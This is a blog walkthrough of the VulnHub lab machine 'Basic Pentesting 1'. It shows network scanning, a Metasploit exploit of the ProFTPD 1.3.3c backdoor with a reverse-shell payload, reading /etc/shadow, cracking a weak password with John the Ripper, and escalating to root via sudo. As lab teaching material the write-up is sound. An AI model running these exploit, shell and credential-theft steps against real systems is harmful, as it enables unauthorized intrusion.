November 18, 2026
Basic Pentesting 1 โ VulnHub Walkthrough | From Reconnaissance to Root Access
A beginner-friendly penetration testing walkthrough covering network discovery, enumeration, exploitation, and privilege escalation.
By SreeragPramod
10 min read
1. Introduction
In this article, I'll walk through my experience solving Basic Pentesting 1, a deliberately vulnerable virtual machine available on VulnHub.
The objective was to approach the machine from an attacker's perspective: starting with network reconnaissance, identifying exposed services, investigating potential vulnerabilities, and eventually obtaining root access.
I performed this exercise in an isolated VirtualBox lab using Kali Linux as my attacking machine.
By the end of the assessment, I successfully obtained root access through two separate paths:
- ProFTPD 1.3.3c backdoor: An unauthenticated remote command execution vulnerability that provided immediate root access.
- Weak user credentials: The
marlinspikeaccount used its username as its password. I recovered the password hash using John the Ripper and verified that the account could obtain root privileges through sudo.
I also discovered a WordPress installation during web enumeration, although I did not exploit it.
Let's start by setting up the lab.
2. Lab Setup
Before beginning the assessment, I configured an isolated network in Oracle VirtualBox with two virtual machines.
Attacking machine:
- Operating System: Kali Linux
- IP Address:
10.0.2.10
Target machine:
- Machine: Basic Pentesting 1
- Platform: VulnHub
- IP Address:
10.0.2.11 - MAC Address:
08:00:27:11:ca:63
Both machines were connected to the same isolated VirtualBox network.
Testing Approach
I approached the machine using a black-box penetration testing methodology.
This means I started without prior information about the target's running services, software versions, configurations, or credentials.
Everything had to be discovered through reconnaissance and enumeration.
The assessment followed a straightforward sequence:
- Identify the target machine.
- Discover open ports and running services.
- Enumerate available applications and directories.
- Research potential vulnerabilities.
- Exploit identified weaknesses.
- Verify the access obtained.
- Document the findings and remediation recommendations.
With the lab ready, it was time to identify the target.
3. Reconnaissance โ Finding the Target
3.1 Host Discovery Using ARP Scan
The first step was to identify active devices on the local network.
Since I already knew that both virtual machines were connected to the same network, I used arp-scan to discover the devices responding to ARP requests.
Command used:
sudo arp-scan --localnetsudo arp-scan --localnetUnderstanding the command:
sudo: Runs the command with administrative privileges.arp-scan: A tool used to discover active devices on a local network using ARP requests.--localnet: Scans the locally connected network.
The tool returned information about responding devices, including their IP and MAC addresses.
This was useful because I did not initially know the target machine's IP address.
3.2 Identifying the Target
The scan returned three active hosts.
I examined the returned IP addresses, MAC addresses, and vendor information to identify the virtual machines running in my lab.
Based on the network information, I identified the Basic Pentesting 1 target.
The relevant details were:
- Target IP:
10.0.2.11 - Target MAC:
08:00:27:11:ca:63 - Attacker IP:
10.0.2.10
The target was now identified at 10.0.2.11.
With the target IP confirmed, I could move on to the next phase: enumeration.
4. Enumeration โ Understanding the Attack Surface
Reconnaissance helped me identify the target machine. The next step was to understand what services and applications were running on it.
In penetration testing, enumeration is important because it provides information about exposed ports, running services, software versions, and accessible resources.
This information helps narrow down potential entry points.
4.1 Port and Service Scanning with Nmap
I started by performing an Nmap scan to identify open ports and detect the versions of the services running on them.
Command used:
nmap -sC -sV -Pn 10.0.2.11nmap -sC -sV -Pn 10.0.2.11Understanding the command:
nmap: Launches the network scanning tool.-sC: Runs Nmap's default scripting engine scripts.-sV: Attempts to identify the versions of services running on open ports.-Pn: Skips host discovery and treats the target as online.10.0.2.11: Specifies the target IP address.
Instead of simply identifying open ports, this scan also attempted to retrieve additional information about the services running behind them.
4.2 Understanding the Nmap Results
The scan identified three open TCP ports.
Here are the services discovered:
Port 21 โ FTP
- Service: ProFTPD
- Version: 1.3.3c
- FTP is commonly used for transferring files between systems.
Port 22 โ SSH
- Service: OpenSSH
- Version: 7.2p2 (Ubuntu)
- SSH provides remote command-line access to Linux systems.
Port 80 โ HTTP
- Service: Apache
- Version: 2.4.18 (Ubuntu)
- HTTP is used to serve web applications and websites.
One result immediately caught my attention: ProFTPD 1.3.3c.
The version appeared outdated, so I made a note to investigate it further for known vulnerabilities.
SSH was also discovered, but I did not perform any further testing against that service.
4.3 Inspecting the Web Server
Since port 80 was open, I decided to investigate the web server.
I opened the target IP address in my browser:
http://10.0.2.11http://10.0.2.11The server displayed the default Apache landing page rather than a custom website.
Although there was no interesting application content on the main page, I decided to check whether other directories or web paths were accessible.
4.4 Directory Enumeration Using Dirsearch
Web applications sometimes contain directories that are not directly linked from their homepages.
To identify additional accessible paths, I used dirsearch.
Command used:
dirsearch -u http://10.0.2.11dirsearch -u http://10.0.2.11Dirsearch performs directory and file discovery by sending requests for commonly used web paths and checking the server's responses.
The scan identified a directory named /secret.
The initial request returned an HTTP 301 redirect, followed by a successful 200 OK response when accessing /secret/.
This indicated that the directory was accessible through the web server, even though it was not visible on the default Apache landing page.
This discovery gave me another area to investigate.
4.5 Discovering WordPress
I opened the newly discovered directory:
http://10.0.2.11/secret/http://10.0.2.11/secret/To my surprise, it contained a WordPress installation titled My Secret Blog.
Initially, the WordPress login page did not load correctly.
After investigating the issue, I discovered that the application required the target hostname to resolve correctly.
I added the following entry to the Kali Linux /etc/hosts file:
10.0.2.11 vtcsec10.0.2.11 vtcsecThis mapped the hostname vtcsec to the target machine's IP address.
After adding the entry, I accessed the WordPress login page again, and it loaded successfully.
At this stage, I did not have valid WordPress credentials, so I did not attempt to exploit the application.
I kept it documented as an additional attack surface that remained untested.
4.6 Enumeration Summary
At this point, I had gathered the following information about the target:
Network services discovered:
- Port 21 โ ProFTPD 1.3.3c
- Port 22 โ OpenSSH 7.2p2
- Port 80 โ Apache 2.4.18
Web application discovery:
- An accessible
/secret/directory. - A WordPress installation titled My Secret Blog.
- A working WordPress login page after correcting hostname resolution.
Testing limitations:
- SSH was discovered but not tested further.
- WordPress was discovered but not exploited.
The most interesting discovery was ProFTPD 1.3.3c. Its version gave me a reason to investigate whether a known vulnerability could provide an entry point into the system.
5. Vulnerability Identification โ Investigating ProFTPD 1.3.3c
After completing enumeration, I had identified an interesting service running on the target: ProFTPD 1.3.3c on port 21.
The next step was to investigate whether this particular version had any known security vulnerabilities.
5.1 Understanding the ProFTPD Backdoor
Further research revealed that ProFTPD 1.3.3c was associated with a serious backdoor vulnerability identified as CVE-2010โ20103.
The issue originated from a compromised official source distribution archive between November 28 and December 2, 2010.
The malicious code introduced into the software could allow an unauthenticated remote attacker to execute commands on the affected system.
In simple terms, an attacker could potentially execute commands on the target without knowing a valid FTP username or password.
Why is this dangerous?
- It allows remote command execution without authentication.
- An attacker may gain unauthorized access to the system.
- Depending on the privileges of the affected service, the attacker may obtain root-level access.
- The attacker could potentially access, modify, or delete sensitive system data.
After identifying this vulnerability, I decided to investigate whether Metasploit provided an available exploit module.
6. Exploitation โ Obtaining Initial Access
6.1 Using Metasploit Framework
For exploitation, I used the Metasploit Framework, a penetration testing platform that provides modules for identifying and exploiting known vulnerabilities.
My objective was to find an exploit specifically designed for the ProFTPD 1.3.3c backdoor.
6.2 Searching for the Exploit
I launched Metasploit and searched for an available module using:
search ProFTPD 1.3.3csearch ProFTPD 1.3.3cThe search returned an exploit module associated with the identified backdoor.
The module was:
exploit/unix/ftp/proftpd_133c_backdoorexploit/unix/ftp/proftpd_133c_backdoor
This was the module I selected for the exploitation attempt.
6.3 Configuring the Exploit
After locating the module, I loaded it into Metasploit and configured the required options.
Commands used:
use exploit/unix/ftp/proftpd_133c_backdoor
set RHOSTS 10.0.2.11
set payload cmd/unix/reverse
set LHOST 10.0.2.10
show optionsuse exploit/unix/ftp/proftpd_133c_backdoor
set RHOSTS 10.0.2.11
set payload cmd/unix/reverse
set LHOST 10.0.2.10
show optionsLet's understand the important parameters:
use: Loads the selected exploit module.RHOSTS: Specifies the target machine's IP address.payload: Defines the type of payload used to establish access.LHOST: Specifies the attacker's IP address, where the reverse connection should be received.show options: Displays the module configuration and its required settings.
The reverse payload was configured to establish a connection back to my Kali Linux machine.
The module's default listening port was 4444.
Once the required settings were configured, I was ready to execute the exploit.
6.4 Executing the Exploit
With the configuration in place, I launched the exploitation attempt.
Command used:
exploitexploitMetasploit attempted to exploit the backdoor present in the target's ProFTPD service.
The attempt was successful, and a command shell was established on the target.
At this point, I wanted to verify the privileges associated with the shell.
I executed:
whoamiwhoamiThe output was:
rootrootThis was a significant result.
I had successfully obtained root-level access immediately after exploiting the FTP service.
No additional privilege escalation was required for this exploitation path.
6.5 Improving Shell Interaction
Although the exploit provided a working shell, the initial command shell had limited interactive functionality.
To make interaction with the shell more convenient, I referred to the Python techniques documented on GTFOBins.
The following command was executed on the target:
python -c 'import os; os.system("/bin/sh")'python -c 'import os; os.system("/bin/sh")'This launched another shell through Python.
It is important to understand that this step did not provide additional privileges.
I had already obtained root access during exploitation. The purpose here was to improve interaction with the existing shell.
6.6 Exploitation Results
The ProFTPD backdoor provided a direct path to complete system compromise.
The important details were:
- Vulnerable Service: ProFTPD 1.3.3c
- Port: 21
- CVE: CVE-2010โ20103
- Tool: Metasploit Framework
- Exploit Module:
exploit/unix/ftp/proftpd_133c_backdoor - Payload:
cmd/unix/reverse - Access Obtained: Root
- Shell Improvement: Python-based shell command
This confirmed that an exposed and backdoored FTP service could provide an attacker with complete control over the target system.
However, there was another interesting security issue I wanted to investigate: the user account marlinspike.
7. A Second Route to Root โ Weak Credentials and Sudo Privileges
7.1 Investigating the marlinspike Account
The FTP exploit had already given me root access.
However, I continued investigating the system and discovered another serious security weakness involving a local user account named marlinspike.
The account appeared to have weak password security and potentially excessive privileges.
I decided to investigate the account further.
7.2 Examining the Linux Password Hashes
Since I already had root access, I was able to examine the Linux password hash file.
On Linux systems, /etc/shadow stores password hash information for local user accounts and is normally restricted to privileged users.
I used the following command:
cat /etc/shadowcat /etc/shadowThe output contained password hash entries for different system accounts.
While examining the entries, I identified the hash associated with the marlinspike account.
7.3 Extracting the Password Hash
I copied the identified password hash and saved it into a separate file on my Kali Linux machine.
File created:
hash-password.txthash-password.txtThis allowed me to perform password-cracking attempts offline without repeatedly interacting with the target system.
One important detail I noticed was the hash prefix:
$6$$6$This prefix indicates that the password was stored using the SHA-512 crypt hashing scheme.
The important weakness was not the hashing algorithm itself. It was the simplicity of the original password.
7.4 Cracking the Password Using John the Ripper
For password recovery, I used John the Ripper, a password security auditing and recovery tool.
The extracted hash was supplied to John using the following command:
john hash-password.txtjohn hash-password.txtJohn began attempting to recover the original password from the supplied hash.
The result was surprisingly quick.
The password was recovered in less than one second.
The recovered credentials were:
Username:
marlinspikemarlinspikePassword:
marlinspikemarlinspikeThe account was using its own username as its password.
This demonstrated how easily weak credentials can compromise an otherwise protected user account.
7.5 Verifying the Recovered Credentials
Recovering a password hash is only part of the process. I also wanted to verify whether the recovered credentials were valid.
I attempted to log in to the target machine through its local login console using the recovered username and password.
The login was successful.
This confirmed that the recovered password was valid.
However, I still wanted to investigate the privileges assigned to this account.
7.6 Checking Sudo Privileges
After logging in as marlinspike, I checked the current user identity and group membership.
I used:
whoamiwhoamiThen:
ididThe id command displayed the user's identity and group memberships.
The output confirmed that marlinspike was a member of the sudo group.
This was important because sudo allows authorized users to execute commands with elevated privileges.
I then attempted to switch to the root account using:
sudo susudo suAfter entering the recovered password, the command successfully switched the session to root.
To verify the result, I executed:
whoamiwhoamiThe output was:
rootroot
This demonstrated a second independent path to root access.
Unlike the FTP exploit, this path relied on weak user credentials combined with sudo privileges.
7.7 What Did I Learn from This?
This part of the assessment highlighted another important security issue.
Even without exploiting a software vulnerability, an attacker who obtains access to weak credentials may be able to compromise an entire system.
The key observations were:
- The
marlinspikeaccount used its username as its password. - The password hash was recovered in less than one second.
- The recovered credentials were valid for local authentication.
- The account belonged to the
sudogroup. - The credentials allowed the user to obtain root access through
sudo su.
7.8 Section Summary
By this stage, I had demonstrated two different ways of obtaining root access:
Path 1 โ Vulnerable FTP Service
ProFTPD 1.3.3c โ Metasploit Exploitation โ Root Shell
Path 2 โ Weak User Credentials
/etc/shadow โ Hash Extraction โ John the Ripper โ marlinspike Login โ Sudo Privileges โ Root
The first path exploited a backdoor in an exposed network service. The second demonstrated the risk of weak passwords combined with excessive administrative privileges.
Both paths resulted in complete compromise of the target system.
With the exploitation and credential investigation complete, the next step was to document the security findings, understand their impact, and recommend appropriate remediation measures.